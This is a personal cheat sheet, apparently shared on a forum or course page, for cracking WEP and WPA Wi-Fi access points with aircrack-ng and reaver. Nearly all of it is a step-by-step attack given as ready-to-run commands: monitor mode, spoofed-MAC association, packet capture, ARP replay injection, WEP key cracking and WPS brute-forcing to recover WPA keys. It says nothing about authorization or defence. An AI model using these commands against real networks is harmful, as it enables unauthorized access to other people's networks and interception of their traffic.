List of supported chipsets for packet injections: http://www.aircrack-ng.org/doku.php?id=compatibility_drivers#compatibility

I copy/pasted a bit from my own cheat-sheet I use when cracking WEP/WPA access points. I used Backtrack5 live CD since this distribution already have all the necessary tools installed - so no need to mess with linux commands except the ones used in the tool. I believe that aircrack can be run with a GUI, but I've only used the command line interface.
There may be a few commands that I've missed, but this should be the most important of them, plus an explanation to the usage of the commands. Good luck :) //Jacob(201201696@iha.dk).

Terminology:
-a bssid: The macaddress of the accesspoint. Can be written with or without ":".
-h MAC: The macaddress of your own adapter. Usually you can just write a random MAC address.
-e ESSID: The name of the accesspoint. This can usually be omitted from the commands, as long as you have written the BSSID.

Need-to-know commands:
airmon-ng
This command lists your current wireless cards and monitors

aireplay-ng -9 wlan0 (wlan0 => Depends on your netcard name. Write airmon-ng to see the name of your wireless adapter).
Output will tell you if your current Wifi chipset supports packet injections:

IF YOU GET AN ERROR TESTING IF WIFI CHIPSET SUPPORT PACKETINJECTIONS: TRY THESE COMMANDS:

airmon-ng stop wlan0
sudo iwconfig wlan0 mode monitor
airmon-ng start wlan0
... and try again.

airodump-ng (interface)
Interface is the output of airmon-ng. Usually wlan0. This command lists all current networks, and show you their BSSID(mac address), data going to and from the router and signal strength. Press "S" to change sorting algoritm.

aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 -e (essid)
Associates with network. Smiley if associated.

airodump-ng -c (channel) -w (file name) --bssid (bssid) (interface)
This command dumps data you collect to a file (needed later to crack). The command puts .cab extention on automaticly.

aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)
This command listens for ARP packages. Once it recieves an ARP package, it will automaticly resend it numerous times.

aircrack-ng -b (bssid) (file name-01.cap)
When you have enough packages, run this command. I needed about 40000 IV's I believe. You can start aircrack right after you started aireplay - it will automaticly try to crack the WEP key every 5000 IV's.

Important and helpfull knowledge:
CTRL+ALT+F1-F4: Changes between terminal windows. My suggestion is to run airodump-ng in F1, airodump-ng in F2, aireplay in F3 and aircrack in F4.
CTRL+C - exits current command. Can exit aireplay, airodump, aircrack etc.

Bonus information(WPA cracking):
If you want to crack WPA networks, these commands are essential. In order to crack a WPA network you need a very good signal value, and the router needs to support WPS.

wash -i mon0
This lists current accesspoints with WPA encryption, that supports WPS. If WPS isn't locked, you can bruteforce the WPS key in a matter of hours, and get the WPA key this way.

airmon-ng start wlan0
Puts your wlan0 adapter in monitor mode(mon0)

airodump-ng wlan0
Find the BSSID and channel of your target. Preferably over -50 dB PWR.

reaver -i mon0 -b (BSSID) -c Channel -e (ESSID) -vv -A --no-nacks
This command bruteforces the WPS key. This may take several hours. Faster results, if you are closer to the accesspoint.